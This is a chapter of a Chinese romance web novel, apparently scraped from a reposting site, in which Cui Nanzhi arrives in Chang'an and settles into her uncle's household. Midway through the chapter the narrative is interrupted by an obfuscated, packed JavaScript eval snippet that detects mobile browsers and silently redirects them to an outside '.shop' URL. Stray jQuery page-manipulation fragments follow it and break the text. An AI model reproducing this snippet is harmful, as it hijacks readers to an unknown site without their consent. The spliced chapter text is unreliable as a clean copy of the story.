1. 第 1 章
    第1章

    《皇叔悦我》

    文/沈云禅

    正版首发晋江文学城

    夏末秋初,还存着几分燥意。

    郑家老夫人拄着手杖,慢悠悠走到花厅坐下,看着仆人们脚步匆匆在院落里来回穿梭。

    “他们在做什么?”老太太问。

    她上了年纪记不住事,这是今日第四遍问,女使摇着团扇为她打凉风,依旧好脾气地回答道:“在收拾厢房,要给崔小娘子住的。”

    “崔小娘子……哪个崔小娘子?”

    “宣州来的崔小娘子,晚些时候您就能见到了。”

    眼见着已经过了午时,派去坊外打探的小厮还没动静,郑鹤荣不免焦急。

    祝萦拉了拉夫君的衣袖,示意他说点什么缓解一下气氛,郑煜被妻子催了几次,开口道:“表妹住在长安时还年幼,印象不深,可能是迷路了,还是我去外面看看吧。”

    郑鹤荣瞥儿子一眼,陈夫人在一边帮腔:“是啊,你表妹离开长安时候才四五岁吧,这会儿都十多年过去了,人生地不熟的。”

    妻子给拿了主意,郑鹤荣也不敢反驳,摘下腰间玉牌递过去:“拿着。”

    长安不比宣州,过了未时就关城门,当今圣人治下又严,长安的达官贵人们多多少少碰过壁。

    靠双腿肯定来不及,小厮牵来马匹,郑煜翻身上马——长安城里多权贵,虽然自家只占个郑家的旁支,但在长安城里骑个马还是够格的。

    他去得时机很巧,刚接近城门地段,就见派出去的小厮急急忙忙跑回来:“前面好像就是表姑娘的车。”

    郑煜顺着他指得方向望去,笔直的官道那头,一辆马车从不远处缓缓驶来。等靠近了,才能看清檐角挂着的是镂花银薰球,流苏穗子随着车子颠簸晃动着,香球内部却纹丝不动。

    车里坐着的正是他要接的表妹崔南栀和乳母芳丹。

    芳丹看向自家还靠在车壁合眼小憩的女郎,轻唤了几声。

    崔南栀眼睫微颤却不睁眼,分明是听到了还要装作在睡觉。

    “崔娘子?”芳丹叹气,“冒犯了。”

    崔南栀似是察觉到她要做什么,装不下去,立即捂住鼻尖,不情不愿地睁开眼:“现在醒了。”

    “已经到升平坊了,郑家郎君在外面等着呢。”芳丹为她整理鬓发衣裙。

    伴随女郎的话语声,轻薄的窗纸上映出一道秀丽剪影,紧接着车门打开,郑煜后退两步避到一边。

    芳丹先下车,而后伸出手,让崔南栀扶着她的臂膀稳稳踩到地面。

    秋日阳光落在女郎的面庞上,肤色瓷白匀净,鸦睫卷翘。

    郑煜上回见到崔家的表妹,还是在十多年前,牙都没长全,软乎乎一团被乳母抱在怀里哄睡。转眼间已经长成亭亭玉立的闺秀,面上能窥出几分姑母年轻时的影子。

    沉浸在回忆里,以至于郑煜没注意自个儿大剌剌盯着她看了许久。

    还是崔南栀先喊了声“表哥”,才把他游荡在外的神魂给拉了回来。

    他惴惴抬眸,崔南栀微微歪头,发间珠玉随着她的动作发出清脆碰响,倒没有看出什么恼怒的神色。

    郑煜不是个会来事的性子,崔南栀又记着芳丹教导她“长安规矩重,姑娘家要矜持”,决心先等表哥开口。

    两兄妹十多年没见,跟陌生人没两样,一时间谁也没说话。

    芳丹咳嗽几声,打破尴尬的僵局:“城门口多盘问几句耽搁了时间,让老夫人和郎主久等了。”

    “他们没为难表妹吧?”郑煜问。郑鹤荣给他玉腰牌就是提前想到这一点,要是真给人拦住为难了,有玉腰牌作保也能让通融一下。

    “没有,只是从外地来的例行盘问。”崔南栀摇头。

    郑煜松了口气:“那就好。”

    小厮已经先一步回郑宅报信,等崔南栀跨过门槛,就是舅舅一家子迎上来。

    崔南栀吓了一跳,她五岁就离开长安了,在此之前和舅舅一家见得也不多,记忆稀薄得跟清水似的。不过陈夫人先一步上来拉住她的手,舅母眸中泪光盈盈:“都长这么大了。”

    郑鹤荣附和着点头,他也关心外甥女,但这么多人在场,还有丫鬟小厮看着呢,他得保持一家之主的稳重作风。

    赶在婆母失态前,祝萦提起还在屋舍内的老夫人。

    对这位老夫人,崔南栀的印象还挺深。她宣州闺房里那三盒金锁片、金玉璎珞圈都是老夫人的手笔,有几件直到她及笄前都还在戴。

    老夫人听到声响,往来源望去,一眼就呆住了,唇瓣微微翕动着,吐出含糊不清的字句。

    女使俯身凑近,想分辨出老夫人在说什么,只听到断断续续不成长句的短词,喊着“阿菀”“菀娘”——老夫人是把崔小娘子认成了她的女儿郑菀。

    当她看清已经行至面前的女郎时,老夫人的口齿倏地清晰,周围人都能听清她的话:“阿菀,你怎么现在才回来?”

    郑鹤荣一怔。

    郑菀已经随夫君崔积繁去往宣州十几载,如何与思念女儿的老夫人解释,面前这位与菀娘有几分相似的年轻女郎并非是阿姊,而是阿姊的女儿、她的外孙女。

    然而崔南栀学着郑菀从前的模样,十分自然地将手搭在老夫人手背上,柔声哄她:“让老夫人久等了。”

    老夫人像是被她安抚住了,刚刚还有些激动的情绪此刻已经逐渐平稳,就着女使的手饮下凉茶。

    众人都松了口气,郑鹤荣再次打量起这个外甥女。

    当年崔尚书舍身救驾,替圣人挡下一箭,由此能保崔家半生荣华富贵。至于崔南栀此次进京,就是圣人为了完成他给崔尚书“照拂他妻女”的承诺。

    这个“照拂”背后是什么含义,想来应该是很好懂的。

    因此郑鹤荣特地让人把东边一溜儿厢房都收拾出来,好腾出地方给崔南栀放家当。

    说好听点叫家当,说直接点是放嫁妆。

    结果他这外甥女统共就带了三个箱笼来,不像是来待嫁的,像是……像是来长安旅游一遭,游山玩水轻装出行。

    陈夫人旁敲侧击询问道:“就带三个箱笼呀?是其他东西还在路上没运到?”

    崔南栀弯唇:“舅母放心,阿娘把她在长安的铺子给我了,账上银钱随我支用,有什么要添补的我直接去买新的就行。”

    郑鹤荣咂咂嘴,心想真是他阿姊能干出来的事,十几年没见心性都没变。连带着养出来的女儿也一个模子里刻出来的。

    “你阿娘还好吗?”郑鹤荣问。

    “阿娘前阵子得了风寒,眼下已经好了大半,但还需要卧床休息,因此不能与我一同来长安。”崔南栀道,“阿娘也很牵挂舅舅和外祖母,听说表哥如今在国子监读书,还让我捎来了礼物。”

    芳丹依言去取箱笼里的东西,几支宣笔和一方宣砚。宣砚色泽温润如墨玉,郑煜是读书人,自然对上好的笔墨纸砚有所讲究,也算是投其所好。

    “多谢姑母和表妹。”郑煜面上难掩喜色。

    仆从将东西都搬进去,崔南栀和芳丹一道去厢房,看看有没有要查漏补缺的。

    门一关,就剩她们两人了,崔南栀立即把屋子各个角落都转了一遍,感慨道:“还真是和阿娘说得一样,舅舅是不是有点怕舅母,他讲几句话就得看看舅母的脸色,要是舅母皱眉头他就心虚。”

    芳丹叹气:“这话可只能关起门来说,不能给别人听到了。”

    “就这一次。”崔南栀乖巧道,“我初来乍到,看什么都新鲜,你就让我说几句嘛。”

    她看着芳丹整理箱笼,将她惯用的物件拿出来一一摆放。阿娘给得铺子书契被仔细收纳在盒子里,与它一同摆放的还有一个白檀木质地的长盒,压在箱笼底部,很难被人注意到。

    晚饭是在自己院子里用的,陈夫人差了女使来询问是否有不合心意的地方,崔南栀连忙否认。

    打发走女使,她收拾了一下,洗去这两日的风尘疲累,一头沉进黑甜梦乡。

    听着里间平缓绵长的呼吸声,芳丹才放下心。

    从宣州到长安走水路最为便捷,但夏季雨势突如其来,浪波翻涌,船体颠簸。哪怕崔南栀不怎么抱怨,芳丹也知道她睡得不安稳,常常起床时候眼下透着淡青色阴影,还会强打起精神反过来安慰她无事。

    翌日

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725186|144948||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    清晨,芳丹准时醒来,蹑手蹑脚去里间瞧了眼,崔南栀还睡得沉,脸颊浮上一层粉润色泽,透着少女的娇憨。

    日光照到眼皮上,睫毛颤动,崔南栀轻哼两声,习惯性翻个身躲避刺目光线。

    脸颊蹭到枕巾上的绣花,崔南栀身形顿了顿,迷迷糊糊想起她已经不在宣州了,如今她暂住在舅舅家里。

    芳丹听到一阵竹帘响动,崔南栀掩唇打着呵欠从里间出来。

    她注意到桌上摆了未见过的新茶,问起来处,芳丹说道:“是少夫人的女使送来的,不过当时小娘子还没晨起,就推了说下午再来。”

    下午祝萦果然来了,芳丹给她斟上冰镇过的荔枝膏水,祝萦眼前一亮:“我就说你是个有闲情逸致的人。”

    崔南栀昨天没与她说上话,不知道祝萦是怎样的为人,看她这个反应,大概也是个直白的性子。

    早上让人送来的茶饼还未收起来,祝萦道:“近日长安流行饮西山白露,恰好郎君前阵子得了些品质不错的茶饼,给各房都送了。”

    崔南栀道了谢,祝萦也不跟她忸怩,开门见山:“我今日来找你,就是想问问你用的什么熏香?昨日我回屋子就觉得香味好闻,找了半天才发现是从郎君摆出来的砚台那散出来的味儿。我记得那是你送的,是有什么特别的工艺吗?”

    砚台的香味?笔和砚台也是她从外面买来的啊,并不是她做的。

    崔南栀困惑地眨了眨眼,而后意识到香气的来源。

    “大概……是沾上了箱笼里的味道。”崔南栀看向芳丹。

    芳丹略一思忖,附和着点头:“箱笼里放着香药饵饼,或许是和给郑郎君的礼物摆在一起,染上了香气。”

    “什么香药这么好闻?”

    “我自己做的,嫂嫂喜欢的话拿去吧。”崔南栀示意芳丹把香药拿来。

    她闲来无事做了些,临行前带着路上用,等到长安时候统共就剩两小盒了。

    祝萦拈起一颗轻轻嗅闻,香气温润,沁人心脾,又掺着几缕清甜。不过她再喜欢也不好意思把人家为数不多的香药拿走,又把饵饼放回盒子里。

    “这个不难做的,过几天我再做新的就是。”崔南栀把盒子推向她,“和嫂嫂送的茶比起来小巫见大巫了。”

    “我也只是借花献佛而已。”话说完,她倒是想起什么,“我听郎君说,姑母尚在宣州养身子?”

    崔南栀点头:“我来长安前已经好得差不多了,大夫让阿娘多多卧床休息把身体底子养好。”

    “近日慈恩寺允许外人供灯了,我认识的几个姊妹都去了。”她对长安的事物还不熟悉,祝萦一一解释,“慈恩寺是太宗皇帝命人建的,本来只允许皇亲宗室进去,不过如今太后心善,每年总有几个月会解了禁令。”

    祝萦压低声音,凑到崔南栀耳边神神秘秘的:“慈恩寺供灯特别灵,我那几个姊妹都供过,说是显灵了,从此年年都去。”

    “嫂嫂去过吗?”崔南栀讶然。

    “去是去过,但我好像也没什么特别大的心愿,也就祈了家人平安、郎君仕途通顺之类的愿望。”

    “那还挺灵的。”崔南栀弯唇。

    祝萦被逗笑,手心情不自禁地捂上小腹,面露赧然:“但愿如此。”

    祝萦过来除了是想问问香药的来源,对她这个表姑娘的好奇才占了大头。

    她抬眸望向崔南栀,夏末余热犹在,崔南栀穿得轻薄,披帛松松地绕在臂间,窄袖外的肌肤欺霜赛雪。

    送走祝萦,芳丹关上房门才对她做出评价:“少夫人是个好相与的人。”

    郑菀还为崔南栀未来的生活担忧,虽然他们在长安这一房没有望族那些繁文缛节的规矩,但和在宣州的日子还是大不相同,崔南栀去了之后能不能习惯和一大家子人相处。为此她还特地叮嘱芳丹要多看着点崔南栀的言行,在宣州肆意惯了,不能由着她在长安也胡来。

    芳丹看了眼正在摆弄着茶饼的女郎,心想道夫人果然是担忧过度了,这才满打满算一日的工夫,上至老夫人、下至少夫人,通通都被崔南栀拿下。

    她甚至都要怀疑,崔南栀是不是终于找着她发挥本事的余地了。